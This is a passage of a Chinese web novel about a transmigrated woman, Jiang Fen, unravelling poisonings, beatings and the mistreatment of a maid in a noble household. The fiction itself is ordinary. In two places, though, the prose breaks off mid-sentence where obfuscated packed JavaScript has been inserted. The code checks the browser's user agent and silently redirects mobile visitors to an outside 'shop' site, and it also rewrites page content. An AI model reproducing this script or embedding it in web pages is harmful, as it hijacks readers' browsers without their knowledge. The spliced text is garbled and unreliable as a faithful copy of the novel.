药童死了,他根本不在乎。他真正在乎的,是多年前闻小芳无所顾忌地派人在大街上物色美人,恰好那天自己的女儿被自己派出去拿药,她一路过,就被闻小芳手下看上,直接绑走了。 可怜他的女儿,年纪轻轻,就被绑到闻小芳那里受尽苦难,最后还被虐待致死。 作为一个没权没势的父亲,他痛恨着闻家的一切。突然有一天,一个自称闻家二公子的人出现了,愿意和他一起扳倒闻小芳。 这几年来,每逢闻小芳生病来抓药,他就会在药里加点料,经年累月,让闻小芳的身体慢慢亏空,最终在一系列的打击之下,闻小芳才会被直接逼死。 可现在,这些事实被再次血淋淋的摆在面前,他听到姜汾再一次说:“闫郎中,请你稳住老太太,我去寻解药,无论如何,请不要放弃她。” 14. 14 一脸踢开柴房大门的那一刻,闻演和石虎躺在地上遍体鳞伤,而始作俑者闻行好像没事人一般坐在一旁发呆,姜汾“嘭——”一下关上了柴房门,走到闻行身边,问:“接下来怎么做?” 闻行却反过来问她:“你猜猜捅刀的人是谁?” 姜汾看了一眼地上的两个人,双眼闭了一会儿,然后试探性说:“闻演?” “怎么猜的?” “从各种痕迹来看,捅刀的人很像石虎,但是,母亲受伤昏迷,作为儿子却根本不出现,甚至在事后被你抓了起来,这让谁想,都会觉得是闻演捅的刀。” 闻行为她竖起了大拇指,然后赞美道:“猜得好!” “那就赶紧让闻演拿出解药啊。”姜汾看着闻行还有闲心跟自己开玩笑,气不打一处来,走到闻演身边蹲了下来,追问: “快拿解药出来救你娘,解药被你藏哪儿了?” 闻行则是悠哉悠哉地翘起二郎腿,替根本没力气回答的闻演说话:“没事,他没解药,他甚至连那刀上有毒都不知道。” 姜汾看闻行满不在乎的样子,问:“这毒是匈奴那边过来的,要是侯府内眷中了罗汉毒这种事被外人……甚至是圣上知道,我们全部都得死。” “我知道。” 依旧是轻描淡写的语气,这让姜汾不禁警觉起来,靠近了闻行,用两个人才能听到的声音问:“不会是你下的毒吧?” 闻行则是示意姜汾在靠近一点,等姜汾半信半疑挪了过去,他一把把姜汾拉到怀里,然后唇瓣靠近姜汾的耳朵,轻声说:“是又怎么样?” “你!” 姜汾一时之间不知道说些什么,拉起闻行走出柴房,然后观察一会儿,确定周围确实没人之后,她扯着闻行的衣领问:“你是想害死所有人吗?” 闻行则是投降一般举起双手,撒娇般求饶道:“好筠婉,饶了我吧。” “你以为你还是幼童吗?”姜汾面对未知的险境,心脏都快紧张地跳出来了,却被闻行插科打诨,当即明白闻行绝对又是在设置一个大局,搞不好,这一次自己也是他的算计目标。 姜汾觉得自己连声音都颤抖了些,强装镇定道:“至少,你得先拿出解药来,赵大战与你无冤无仇,你凭着自己的良心也不能害他。” “放心吧,时辰一到我肯定会给她解药。”闻行笑了笑,对姜汾说:“你去休息休息吧,整个人精气神都没有了。” 姜汾无语,心想这都是因为谁啊? 然后又问;“那你把闻演和石虎抓起来干嘛?” “不告诉你。” 依旧是那副笑盈盈的样子,可没有透露一丝一毫真相的样子。 姜汾知道再怎么追问都没用,于是便只能劝说道:“你不要把人弄死了,闻行,这对阴德不好。” “你关心我?” 姜汾听蒙了,没搞懂为什么闻行的关注点这么奇特。 她管不了了,毕竟自己也逃不脱闻行的算计,干脆不回闻行的话,闷着脑袋走了。 见姜汾头也不回地走了,闻行这才回到柴房,看着地上闷哼挣扎的两个人继续逼问:“你们两个就没有什么要对我交代的吗?” 两人早已被折磨地奄奄一息,哪里还有力气说话,只能继续躺在地上痛苦地挣扎。 过了一会儿,闻演积累了一些力气,这才敢和闻行说话:“二哥,你放过我吧,要是大哥在,他肯定不会允许你这么对我的。” “不要。”闻行一字一句地反驳:“在大哥心中,我可比你重要多了,毕竟,我们和你只是异父异母的亲兄弟而已。” “二哥……” “你叫爹都没用。” …… 姜汾忙完一切以后睡了个好觉,一觉睡到大天亮,就听见系统在脑海里情难自已地唱日语歌。 姜汾:“这个什么名啊?” 【在铃悬的树荫大道上我说‘想梦见你的微笑’,猜想我们的关系会变成怎样呢,我想了好几天。】 “……” 【小汾子,昨天你没好好睡觉,需不需要坝坝给你放摇篮曲?】 姜汾:“你好久没给我颁布任务了,等我把闻家这破事儿搞完,得给我每个月涨两千。” 【李坝坝郑重地向你发出道歉,我最近在看书,忘了。】 姜汾:“看的啥?” 【金瓶梅,兰陵笑笑生原版,我可以念给你听听。】 “别。”姜汾对系统没正经的样子习惯了,只是对它强调:“你就说你答不答应吧。” 【答应啊,系统这就给你修改任务清单。现在,我宣布,主线任务正式开始,帮助闻行铲除侯府毒瘤,将侯府壮大辉煌。】 侯爵的地位又不低,在往上走几步就是要篡位了,根本不需要什么壮大辉煌,倒是铲除毒瘤这种事,确实难办。 【考虑到任务难度,系统决定为你安排一个毒瘤清单,你每清除一个,系统就会颁布一个。】 【第一位即将和你对线成功的嘉宾的人是谁呢?下面我宣布,请为闻演爆灯,找出他憎恨闻家的原因,并感化他。】 昨天闻行刚让自己别插手,今天自己就去感化闻演,拿自己的小命勇闯天涯啊?自己又不是雪花啤酒。 姜汾连拒绝的权利都没有,一边穿衣服,一边吩咐吉吉去准备些吃食,然后便朝赵大战走去。 她问专门伺候赵大战的婢女,“怎么样了?” 婢女小心翼翼地回答:“闫郎中盯了一晚上,老太太还是没有好转,到了临近天亮的时候,奴婢看见三少爷拿着一颗药丸来,给老太太服下,这才挺了过来。” 捅了自己娘,还来送药,这多半是被闻行逼的。 姜汾心下腹诽:勾心斗角,又当又立,这群男的有病啊。 不过,照闻演受伤的情况,现在应该走不了多远,只能待在房间里休息。 果不其然,当姜汾轻手轻脚靠近闻演房间时,闫四海正在里面为闻演上药,中药的粉末无情地洒在他皮开肉绽的身体上,阵阵痛苦的叫声随之而来。 姜汾作为一个女人,不能直接进去,万一看到点不该看的,传出去名声也不好。 等了半天,闫四海终于出来了,看见门口站着一动不动的姜汾,他点了点头,道:“衣服都穿好了的,进去吧。” 闻言,姜汾这才抬脚迈了进去。 “三弟,我 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一开始一直保持沉默的闻演,在听到自己的前程和姻缘时,开始有所动容,他似乎是赌气一般地说:“爵位已经是我二哥的囊中之物了,我再怎么努力,不过只是考取个功名,日后还要磋磨几十年,才能爬到二哥的位置。” “所以,你就是为了这个而杀你的母亲?” “当然不是!” 闻演急得剧烈咳嗽起来,然后竟然吐出了一口血水,姜汾看到后连忙过去用手帕给他擦了擦,边擦边说道:“我嘞个天,我问问而已,你千万不要还没有回答我问题就先死了啊。” 就在此时,一阵轻微地脚步声在身后响起,姜汾想都不用想,就知道是闻行那崽种。她淡淡开口:“来了?来了就给我沏壶茶。” 闻行没说话,默默走到桌子旁为姜汾沏茶。 姜汾见终于把衣服上的血渍擦干净了,便走到闻行旁边坐下,说道:“你把这孩子逼紧了,什么都敢做。” “做了就要承担后果。”闻行摸了摸茶杯,发现温度适宜,便递给了姜汾,还说道:“我今天能发现他会干这种蠢事,明天就能发现他去大街上杀人放火了,如今不多加管教,他日只会成为市井小人。” 姜汾思考着他的话,根本没注意到自己喝过的茶杯被闻行拿了起来,重新倒满一杯就自己喝了。 等姜汾反应过来,双眼急剧放大,道:“我茶杯呢?” 闻演则在后面半死不活地提醒:“在二哥嘴上叼着的。” 姜汾眼神眯做一条线,然后盯着闻行,闻行双手举起,作投降状,然后把茶杯放了下来。此情此景,姜汾想到了家里拆家还不认账的哈士奇。 “闻演,你做错事怎么还拉我下水?” 面对闻行无端的指控,闻演忍着身体的剧痛翻了个身,被子蒙住头,然后不跟他们两个说话。 看着自己的净化过程功亏一篑,姜汾那是哑巴吃黄连——有苦说不出,她直接走到闻演身边,一扒拉就把被子扯开了。 正月初一,只穿了一条单薄里衣的闻演被冻得牙齿都在颤抖,盯着姜汾不可置信地说:“二嫂,你轻薄我?” 姜汾则趁他不注意,直接往他的床上放了几只熊峰,然后不怀好意地说:“三弟,别乱动,蛰了疼。” 15. 15 熊蜂性情温顺,即使人不小心触碰到它也不会轻易咬人,姜汾多次用它来冒充大黄蜂,好用来威胁一些没眼力见的人,屡试不爽。 见闻演深信不疑,姜汾趁机发文:“你肯定知道你亲爹是石虎了吧?” 闻演不情不愿地点了点头,眼神中满是不满。 “现在你和石虎同时被打,同时被闻行教训,府里上上下下百来号人呢,你猜他们会不会多想,会不会瞎传?” “这本来就是你们一句话的事。”闻演对这件事看得很透彻,他只能听从他们的安排,“如今你们才是侯府的掌权人,即使我再怎么折腾,你们只要一句话,我的身份和地位就会成为一个笑话,我曾经苦读的那么多年就都是笑话。” 谁料,姜汾根本不反驳他,反而赞同性地点了点头,道:“那确实是。” 姜汾的坦白让闻演大吃一惊,一时之间不知道怎么回她,满心满眼不是滋味。 “你想开一点,虽然你现在不受待见,将来也不一定受待见啊。” 【Stop!Oh,myladygaga!】 面对系统声嘶力竭的劝阻,姜汾用原本系统调侃她的一句话还了回去:“听不懂鸟语思密达。” 一句话让两个人之间的气氛降到了冰点,幸亏闻行及时打破了尴尬。 只听他发出了一道十分富有嘲笑性的笑声,顿时让姜汾和闻演两个人都满脸黑线。 姜汾很讨厌有人干预自己的净化步骤,毕竟自己打王者的时候总会带净化,而总有菜鸟队友满脸嘲讽,甚至干扰自己推塔打团。 她现下无比坚定地认为,闻行就是这么一个猪队友。 闻演则是在面对姜汾的变相肯定后,又得到了闻行变态的嘲讽,又不能装作没看到没听到,整个人恍惚中带着一丝难受,就像冬天孤零零长着的狗尾巴草。 闻演无助开口:“让我回学堂吧,我现在求知若渴。” 尽管知道学习成长是一个人变好的必经之路,但姜汾还是拒绝了,理由是,“我把你送到我弟弟那里,让他们带着你学吧。” 姜家最享誉京城的就是满门学术之风,姜图图作为翰林学士,才高八斗,姜沭和姜溟也是年纪轻轻便尽显才华,受京城众多丽人娇娘的追求。 将闻演送过去与他们同吃同住,是姜汾的一步险棋,毕竟,她并不知道闻演内心的反叛意识有多么强烈。 他竟然连自己的亲生母亲都敢伤害,那么姜汾就不好确认,是否他在接受了姜家的管教之后,会选择伤害姜家的人。 闻演对姜汾这个决定感到意外,甚至有些不敢确定它的真实性,他反复问道:“是曾夫子带的那两个学生吗?” 姜汾也不知道两个弟弟的老师是谁,胡乱点头一通。 “可我学的还不够多,不知道曾夫子愿不愿意也带带我。”闻演刚浮上心头的喜悦顿时被自己的学识浅薄给击退了,他才十二岁,还在私塾里摸爬滚打,怎么敢越过雷池,直接跑到夫子那里去求教? 不料姜汾却坚定地拍拍他的肩膀,告诉他:“放心哈,老弟,从古至今,学院唯一没有灭绝的恶劣行径就是走后门。” 闻行“噗呲”一下又笑了出来,姜汾扭过头来神色复杂地盯着他,用眼神警告他别再捣乱。 闻行却没有正面回应姜汾,反而对闻演说:“如果有别人揍你,那么我连平时郁闷了之后出气的地方都没有,那我该怎么办呢?” 冷漠的眼神看得闻演心里发毛,他当即光速下床,跪在地上对姜汾俯首称臣:“二嫂,我一切都听从你的安排!” 闻行看热闹不嫌事大,边喝茶边冲姜汾抛过去一个灿烂的笑容,道:“夫人,你要为我做主,你说句话啊?” 姜汾咬着后槽牙对闻行回了一个微笑,然后开始礼貌地讲条件:“我以后每天多学半个时辰,你就放他去吧。” “我郁闷,不要。” “一个时辰。” 闻行笑着加价:“两个时辰。” 刚逃离学业生活不到半年,就被强制性拉着学习,现在每天还要多两个时辰,悲哉!痛哉! 但一切木已成舟,不能后悔,姜汾必须装作十分情愿的样子来接受闻行的条件。 “好。” 达成目的的闻行瞬间松口了。 “夫人,老太太醒了。”吉吉站在门外,对姜汾汇报。 “好,我这就过去。”姜汾点了点头,不想与面前这两个男人再多做纠缠,头也不回地离开了。 走进赵大战的房间,满屋的药香让姜汾感到头有些晕,闫四海正在给赵大战把脉,看见姜汾来了,连忙站了起来,对她行了个礼。 姜汾有些迷糊,他们之前见面从来没这么客套过,便问:“闫郎中今日终于改过自新决定温柔待人了?” “不是。”闫四海面无表情地回答:“三少爷和那个叫石虎的也是我看的,我怕有一天我这老不死的也会被打成那样。” 别说闫四海怕,姜汾也怕闻行突然那天不高兴就把自己剁了,两人流于表面的恐惧让他们瞬间统一了战线,姜汾问:“老太太怎么样?” 闫四海回答:“解了毒,但身体还是亏空了,待会儿喂些粥吧,能吃下饭便会慢慢的好起来,但切记要吃得清淡些,不要乱搞什么十全大补丸。” 说罢,他便要离开。看见闫四海要走,姜汾匆忙提醒: “闫郎中,麻烦你待会儿去给主君说一下,就说我要得痔瘺了,不能多坐着,请务必告诉他!” 【这孩子,为了不读书什么理由都找得出来。】 闫四海满脸狐疑,不知道这丫头要干嘛,但还是掉头了掉头,这才离开。 姜汾看着他远去的背影,把希望都交托在他的身上。 然后,她转过头,对床上的赵大战说:“还记得昨天的场景吗?” 赵大战虚弱地连眼皮都抬不起来,却在听到这句话后,迫切地想说话。 姜汾靠近她的嘴巴,却听她反反复复地说:“年年,从小便跟着我,长到十二岁,学会勾引我儿了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898036|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这年年是谁,姜汾还真没什么印象,脑袋里搜索了一圈,也只有每天被闻行逼着背的古诗词在脑海里环绕。 【别背了,我每天看到这些知识就烦。】 被系统吐槽的姜汾也觉得没意思,转头让吉吉把年年找来。 审人自然不会当着赵大战的面审的,虽然她虚弱无比,可毕竟意识还在,到时候说出些不该说的刺激到病人,反倒让姜汾担不了责。 她叫吉吉把人带到玉蕤轩,在人要被带来之前,又把蜂箱打开了些,让些许熊蜂在房间里四处飞翔。 真恶毒啊,除了闻行以外肯定不会有人审人比自己还恶毒了。 等年年被吉吉推进屋子,便听见屋子里传来阵阵蜜蜂轰鸣声和诡异的“桀桀桀”笑声,她害怕地捂着脑袋蹲在墙角,便看见有个人影从暗处走了出来。 那人影继续发出“桀桀桀”的笑声,然后又是一阵怪异的磨牙声,她慢慢走近年年,刚想发出一些更加让人难以接受的声音,便发现眼前的女孩稚嫩的脸庞,约摸最多不过十五岁。 害怕带坏小孩子的姜汾赶忙把各个窗户全都打开,把阳光全部透进来,然后轻声告诉她:“你不要乱动,这蜂极其温顺,一般不蜇人的。” 姜汾看着面前忍不住低声啜泣的小女孩,慌忙问:“你多少岁啊?” “十……十四岁。” 说话的声音都是颤抖的,姜汾现在特别想从房间破门而出,直接投湖,来表现自己不是什么虐待狂。 奈何该问还是要问的,姜汾把她拉起来,坐了下来,问:“你知道三少爷干了什么事吗?” 年年一瞬间便怔住了,她先是一言不发,然后便掩饰着开口:“我与三少爷接触甚少,我不知道他最近做了什么事。” “啊?哦。”姜汾接连两声语音的转变,让年年心头一惊,然后她又开口:“可是老太太一直在说你们暗度陈仓啊。” 私通这个词是压在古代所有女子身上一道不可磨灭罪恶,在现代,这顶多算个早恋,可当背景骤然改变,那便是阶级的跨越,代表了不可越过的鸿沟会因为这个行为在一瞬间成为罅隙。 这是个很多底层女子所选择改变身价的法子,哪怕当个侍妾,也比当仆人好。 年年哪里受过这种审问,慌里慌张跪了下来,流着泪连连说:“我没有勾引三少爷,我真的没有。” “那三少爷为什么会在家人团聚、举家喜庆的日子里选择伤害自己的母亲?” “我不知道,我什么都不知道。” 见从年年这里挖不出什么有用的东西,姜汾也不恼,毕竟不能逼急了一个孩子。 闻演除外。 姜汾把吉吉叫了进来,吩咐她把年年带下去,却留了个心眼,让年年贴身伺候自己。 吉吉:“那我呢?” 姜汾:“你升职了,当我的总管。” 【吉吉:老奴喳。】 “但是……”姜汾把吉吉带到门口,用两个人才能听到的音量说:“你帮我查查这姑娘。” 16. 第 16 章 大年初七,闻演便带了两个书童亲自走到了府学。 话说为何是走呢? 这事还得归结于闻演那没好心还必须要办好事的二哥。 闻行找关系这块办事效率极高,不过两三日便打通了里里外外的一切。但是,对于闻演,他大手一挥,就命令伤都还没好全的闻演从侯府出发,自备干粮步行二十里到达府学。 侯府为闻演准备的两个书童更是人才,这两人是姜汾专门为他挑选的,每天除了吟诗作对,对其他可谓是一窍不通。 赵大战醒来有些日子了,听说姜汾主动提出把闻演送去与她的两个弟弟一道念书,心下欢喜得不得了。 面对姜汾问她:“你儿子捅了你一刀,我让他去读书,你还高兴?” 她双手一摊,摆着脑袋说:“我儿子是被年年那个死丫头片子勾引的,不然怎么会这么对我,只要他好好念书,学会了仁义礼智信,那他肯定还是会孝顺我的。” 姜汾当时就被她这典型的封建发言给整沉默了,悄摸翻了个白眼,继续说:“年年才十三四岁,没必要这么说她吧,也不一定是谁先招惹谁啊。” 赵大战不死心,破口大骂道:“我儿子怎么会招惹她那种人,我早就给我儿子定了亲,是我赵家同系而出的姑娘,是我看着长大的。” 闻演定了娃娃亲这事儿,姜汾听系统八卦过。 赵大战带两岁的闻演回赵家住了半个月,这期间,刚好赵屿的母亲生下了一个妹妹,取名赵鄢,赵大战看着刚出生的姑娘粉雕玉琢的,心下便起了心思,直接与赵鄢定了亲。 这么多年,她一直让闻演和赵鄢多加接触,为得就是让两个小孩产生感情。 姜汾当时还吐槽,不仅是表亲还是从小一起长大的,这产生的感情变了八百个弯也只会停留在亲情的轨道上。 可赵大战似乎根本不在意两个孩子是否产生了感情,她只是希望自己喜欢的赵鄢能成为自己名副其实的儿媳妇。 原本两个小孩是不知道自己与对方有婚约的,可时间一长,听周围人的调侃,也慢慢地了解了这件事。 两个人不约而同地产生了对这件事的抗拒,特别是闻演,为了否定这件婚约,直接选择再也不踏足赵家一步。 赵大战的哥哥,赵旭,也就是赵鄢的父亲,曾经提出想将婚约作罢,可赵大战坚决不允许,她认为,自己一旦做了决定,就再也不能改变。 为此,赵旭没少和赵大战争吵,每次赵大战回娘家,往往都是不欢而散。 想到这儿,姜汾脑袋里产生了一个大胆的念头,她敷衍了赵大战两句之后便选择去回到自己房间,套年年的话。 “你原名也叫年年?” 年年低着头,她似乎永远也抬不起头,每一次都是卑躬屈膝地和别人说话,话音也如蚊蚋,往往需要别人靠近许多才能听清。 “我原来叫池年,是到了侯府后,管事妈妈说我们没必要有姓,便直接将我唤作年年。” 姜汾“噢”了一声,接着问:“你家里原来是做什么的?” 在大户人家做婢女,想来都是原来家里条件不好,父母又生得多,便推着大一点的儿女去给大户人家为奴为婢。 谁料池年想了想,说:“我父亲原本是江浙一带的富商,母亲也是家中显赫过的。” “那为什么……” 姜汾还没说完,年年便自嘲道:“前两年得罪了朝廷命官,那家人是个记仇的,随便寻了个理由便把我家给抄了,我们这些女孩子过得还好,为奴为妓也算是有口吃的,家中男丁悉数流放,想来,他们是早就死在边疆了。” 面对池年的坦诚,姜汾很不是滋味,她也不知道为什么,见这个小姑娘第一眼就觉得有些可怜,如今心中更是柔软一片。 她安慰了池年两句,告诉她:“祸事走了,福气自然也就来了。” 可池年的福气似乎比别人慢一点,赵大战开始明里暗里针对池年,让池年本就不爱说话的性子变得更加沉默寡言。 赵大战本人碰到了,大抵随意挖苦讽刺两句这就算了,碍于池年现如今是贴身伺候姜汾的人,也不敢做些什么。 但那些与池年同吃同住的奴才们,见了池年总是先奉上两个白眼,吃饭的时候从来不给池年留一粒米,晚上睡觉也有人专门把她的棉被抢了,让她忍饿挨冻过了很久。 过得最惨的时候,她只能去去泔水桶里面找吃的,一晚上觉也不能睡,起来帮别人刷恭桶,甚至有些男的也开始对她动手动脚,美其名曰:‘少爷不要的东西,已经是个破鞋了,我们又没把你怎么样,又哭又叫的,真是个□□。’ 刚开始姜汾忙于年后侯府的账本核算,根本没在意这件事。待到一日池年给她送茶水的时候晕在了自己面前,她发现池年已经饿得瘦骨嶙峋了。 这孩子,冬天穿着厚厚的棉服,谁胖一点瘦一点根本看不出来,她不说,也就没人知道这些事。 等到姜汾了解到了事情始末后,给池年批了几天假,专门给她安排了住宿的房间,让她好好养身子。 赵大战是万万不可能动的,那些欺负池年的人多半也是仗着赵大战的势,如果现在鲁莽地为池年找回公道,恐怕姜汾自己在赵大战那里讨不到任何好处。 她必须等一个时机,来惩处这些仗势欺人的墙头草。 可姜汾万万没想到,时机来的如此之快,被困在府学封闭学习的闻演不知道从什么地方得知了池年受辱的消息,直接逃课赶了回来。 姜汾看着他不管不顾冲进池年养病的房间,当时气不打一处来,揪着他的衣服领子,就给了他一个大嘴巴子,并自称从此以后自己算他老子,希望他认真当好孙子。 【单押,而你,我的朋友,是真正的rapper!】 闻演即使挨了一巴掌也要进门去看看池年,姜汾脸上的五官快凑到一块形成一个“囧”字了,他还闷头闷脑地往里冲,气得姜汾直接原地召唤熊大熊二把他丢了出去。 闻演:“年年,你不要走,不要走好吗?年年,没有你我可怎么活啊,年年。” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913449|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汾听到这典型的舔狗热脸贴冷屁股的话,脸黑得可以打一瓶酱油,然后走进屋子里,问池年:“你想见他吗?” “我是奴才,主子想见我,我哪有拒绝的道理?” 说完,她便挣扎着起身,来到院子里。 闻演看到池年,想要直接冲过来,但池年连话也不说,直接对着闻演跪下了。 然后,她便开始磕头,即使闻演想要把她搀扶起来,她仍然一声不吭地继续磕头。 等到闻演被熊大熊二以极其暴力的方式拉开了,姜汾上前去扶池年,才发现她早已跪在地上哭得泣不成声。 “我求求你……求求你放了我吧。” 姜汾皱着眉头犀利地评价闻演:毛都不懂的大卤蛋子想要早恋,结果意外祸害人家正经姑娘。 她保持微笑,让熊大熊二把闻演送到闻行书房里关着,然后便让人把池年带回了房间。 这件事最后的受害人闻行,终于忙活完一天的公务,高高兴兴地准备回到家和姜汾探讨作夜没聊完的《诗经》,结果一推开门,便看见一把鼻涕一把泪的闻演在自己书房里痛哭流涕。 闻行想都没想直接把门给锁了,当晚再也没进去过。 但闻演留给他的烂摊子远远不只是这一件事,他的逃学震惊了整个府学的夫子,他们吹胡子瞪眼,痛骂说: “我们办学这么多年,这是第一次,有人用逃学这种恶劣的行径毁坏我府学的建树。” 这辈子没怎么求过人的闻行,请众位夫子吃了两天山珍海味,总算是连踢带踹把人塞回去了。 同时,他也注意到了这个叫池年的小姑娘,调查一番后,发现这人的来历极其特殊,立马问姜汾:“你知道池年是谁吗?” 姜汾一个头两个大,反问闻行:“你知道我才来你闻家多久吗?” 闻行告诉姜汾:“她被抄家,是因为闻小芳想强抢她娘做妾未果,闻小芳与地方官员勾结,害她满门。” 又是一个与闻小芳有关的人,姜汾此时的表情就像一个表情包,满脸写着:种马的荒唐一生。 她跳出这件事进行评论:“那你爹还真该死哈。” 闻行赞同地点了点头,继续说道:“这事发生的时候我不在闻家,所以刚开始我并不知道,现在才来告诉你。” “不不不。”姜汾随手抓起一把瓜子,开始嗑了起来,并反驳道:“我知道这事,我早就派人调查过了。” 闻行看着她一副根本不在乎的样子,便掐了一把她水灵灵的脸,打趣道:“天塌下来了,你姜汾还是能泰然自若地呼呼大睡。” 姜汾以其人之道,还治其人之身,踮起脚来掐了一把闻行的脸,说:“天塌下来,你闻行还是能面色不改地笑话我。” 半年多的相处,已经能让姜汾敢和闻行开一些适度的玩笑话了,有时候,肢体上动手动脚,闻行也只是笑着按住她的头,让她的小短手根本打不中他。 姜汾看着现在闻行冁然而笑,嘟嘟囔囔地转过去骂了一句:“上梁不正下梁也不正。” 17. 17 不知是谁透露了风声,赵大战与石虎的前尘往事在京城之中彻底传开了。 一时之间,许多官眷想方设法地来侯府探消息。每一次,姜汾作为当家主母,都得亲自迎接,笑脸相迎换来的都是叽叽喳喳的背后议论。 姜汾身心俱疲,偏生赵大战充耳不闻,每天躲在她的小院里根本不出来。 可再怎么装傻充愣,事实就是事实,根本改变不了分毫。 那些喜欢看热闹的夫人们还是络绎不绝地前来,有些人为了看赵大战现在的落魄样,差点强闯侯府内院。 还好赵大战有不待客的资本,她的父兄暗中打点,渐渐地,来侯府的人也在慢慢减少。 正当姜汾大手一挥宣布罢工,以为终于可以松一口气时,公主府突然派人发来请柬,说是为小郡主满周岁举办了酒宴,邀请侯府参加。 夜里闻行回来了,姜汾趴在桌子上,根本没心情练字,闻行见她这副心不在焉的模样,走过来坐在她旁边,摸了摸她的脑袋,轻声问:“怎么了?” 姜汾知道这种事根本瞒不住闻行,便告诉他:“今天公主府来邀约了,邀请我们去参加小郡主的周岁宴,但你也知道,最近侯府遭到的非议极大,不知道明天去会遭受到什么。” 听了姜汾的话,闻行算是明白了她的顾虑,便告诉她无妨。 姜汾抬起迷迷糊糊的脑袋,问:“你说无妨便是无妨吗?要知道,我现在什么都记不到,什么也都不知道,恐怕到时候我去公主府,连公主人都不认识。” 闻行安慰她:“别怕,公主是我的旧相识。” 听到这话,姜汾敏锐地捕捉到了八卦的味道,整个人瞬间支棱了起来,眼睛一下子有了光亮,闻行却错误地理解了她的意思,以为她吃醋了,便一副你要安心的样子告诉她: “我和公主小时候一起长大的,后来我离开公主府之后,她也找了我很久,我当时很感动,作为回报,我就把我的好兄弟塞给她做驸马了。” “我的好兄弟叫盛烽,公主叫季姌,两个人算是我朝堂之上的一大助力。去年的时候,公主生了一个女儿,取名季茯,极其疼爱,你记不住公主没事,你只要去逗小郡主开心就行了。” 闻言,姜汾这才放下心来,光速睡着了。 闻行还在那里苦口婆心地教授姜汾应付主人家的社交技巧,结果低头一看,人已经趴在纸张上睡着了。 纸张上还有未干的墨,姜汾脸上无意识的蹭上了一点,像一只安静的小花猫。 闻行任劳任怨地把她抱到床上放好,为她用手帕擦了擦脸之后,鬼使神差地选择了窝在她旁边睡下了。 这间屋子的床不算太大,两个人睡有些拥挤,闻行半边身子都在床弦上,睡得不算安稳。 天亮时,闻行偷偷摸摸地回到了自己的罗汉床,看到姜汾一点要醒的意思都没有,默默地夸了一下自己,觉得自己这件事干得简直天衣无缝。 …… 姜汾带着吉吉和年年准时到场,本来想带毛毛的,但又怕年年一个人在家受欺负,便把她带着一起去了。 站在公主府大门口,吉吉把请柬递了上去,这时,一个看起来雍容华贵的妇人走了过来,插了姜汾的队。 本着多一事不如少一事的窝囊人原则,姜汾本来是打算退一步海阔天空的,没想到对方退一步蹬鼻子上脸,直接讽刺姜汾: “这家里都断不干净的人,来这里就是一种浪费,公主府也不是什么人都能进的。” 姜汾问系统:“这谁?” 【柳雁雁,五品官员的妻子,你母亲柳枝言的堂妹,坚定是你母亲抢了她的如意郎君,所以和你母亲一直以来都不和。】 姜汾对这个想嫁给自家老爹的小姨,一瞬间不知道说些什么。 谁料对方却以为姜汾的沉默是不敢说话的怯懦表现,更进一步地侮辱姜汾: “恐怕你们一家都是些不干净的货吧?要是侯府主君是个有骨气的,早就把你们浸猪笼了。” 姜汾用手肘戳了一下吉吉,吉吉瞬间理解,冲着柳雁雁毫不犹豫地……跪下了。 姜汾以为她要扇柳雁雁一巴掌,没想到吉吉如此行事,当即明白她要干些什么了。 吉吉开始像厉鬼一样朝柳雁雁爬过去,又毫无感情地痛哭起来,两行眼泪根本止不住,等到周围看热闹的人足够多了,她才像背台词一样哽咽道: “你不要欺负我们夫人,你要欺负就欺负我吧,我们夫人毕竟是公主正经请来的客人,你要打就打我这个奴才吧。” 围观的众人顿时开始议论纷纷,姜汾也开始也开始装起了柔弱,眼见柳雁雁把手伸了过来,自己直接摔倒,眼泪就如同雨珠一般落下。 有人开始打圆场,说:“算了吧,这位夫人,大家以和为贵。” 也有人事不关己,道:“世家争端哪处瞧,公主府外一家狂。” 眼见外面都快乱成一锅粥了,两个公主府的婢女急急忙忙跑了出来,把姜汾扶了起来,然后恭恭敬敬地请进公主府。 而面对柳雁雁,她们直接把人拦在门外:“公主说,她不记得邀请过这位夫人,出门左拐,请离开。” 说完,那两位婢女便把姜汾一行人带到了内院,而姜汾由于有过被绑的经历,在这一刻极为警惕,一直在默默地关注周围环境。 终于到了公主房间,婢女们自行离开,姜汾推开门走进去,看见一个极为粗壮的倩影抱着孩子在玩耍。 极为……粗壮…… 硬着头皮走近公主,姜汾开始按照流程行礼,“公主安康,郡主安好。” 美丽动人的公主转过身来的那一刻,姜汾咬着的牙终于还是碎了。 这哪里是公主,分明是一个丰神俊朗的男人。 男人见姜汾朝自己行礼,当即明白她误会了什么,便匆忙解释:“嫂子,我不是姌姌,是茯儿年纪小,只认母亲,我为了与她亲近,便扮做姌姌的样子,我绝对没有什么极其特别的爱好。” 姜汾了解了大概的情况,知道眼前的男人便是闻行提的好兄弟,便抬起手表示不用解释太多,我都明白, 可盛烽像是误解了姜汾的意思,脸红透了,抱着孩子不知所措。 就在此时,季姌从屏风后面走了出来,上前接过孩子放在摇车中,然后走到姜汾面前说:“嫂子,你来了?” 季姌优雅的气质如同白玉般光洁无瑕,散发着阵阵淡淡的清香,让人自惭形秽,不敢亵渎。她声线清冷,说话声音不高,却尽显尊贵。 姜汾礼貌地回应她,季姌让她来抱抱孩子,姜汾本想拒绝,季姌却把孩子直接塞到了姜汾怀里,然后笑盈盈地说: 